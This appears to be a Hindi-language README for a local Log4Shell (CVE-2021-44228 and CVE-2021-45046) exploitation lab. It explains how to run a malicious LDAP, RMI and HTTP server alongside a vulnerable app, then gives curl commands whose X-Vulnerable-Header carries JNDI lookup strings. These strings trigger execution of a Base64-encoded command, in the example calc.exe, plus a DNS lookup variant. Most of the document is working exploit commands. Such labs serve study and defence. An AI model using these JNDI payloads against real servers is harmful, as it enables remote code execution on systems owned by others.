Log4j CVE-2021-44228 और CVE-2021-45046

आवश्यकताएँ

एक असुरक्षित JDK का उपयोग करें, उदाहरण के लिए JDK 1.8.0_181

उपयोग

दुर्भावनापूर्ण सर्वर

दुर्भावनापूर्ण सर्वर निम्नलिखित एंडपॉइंट तैनात करता है:

• 1389 LDAP सर्वर
• 1099 RMI सर्वर
• 8081 HTTP सर्वर

./gradlew :malicious-server:bootRun

असुरक्षित एप्लिकेशन

असुरक्षित एप्लिकेशन 8082 पर एक HTTP एंडपॉइंट तैनात करता है

./gradlew :vulnerable-app:bootRun

दूरस्थ कोड निष्पादन

एक पेलोड चुनें जिसे असुरक्षित एप्लिकेशन द्वारा निष्पादित किया जाएगा और उसे Base64 में एन्कोड करें। उदाहरण के लिए, कैलकुलेटर खोलने के लिए विंडोज़ में: calc.exe

LDAP

curl --header "X-Vulnerable-Header: ${jndi:ldap://localhost:1389/payload/Log4j/Y2FsYy5leGU=}" http://127.0.0.1:8082/

RMI

curl --header "X-Vulnerable-Header: ${jndi:rmi://localhost:1099/payload/Log4j/Y2FsYy5leGU=}" http://127.0.0.1:8082/

DNS क्वेरीज़

curl --header "X-Vulnerable-Header: ${jndi:dns://8.8.8.8/google.es}" http://127.0.0.1:8082/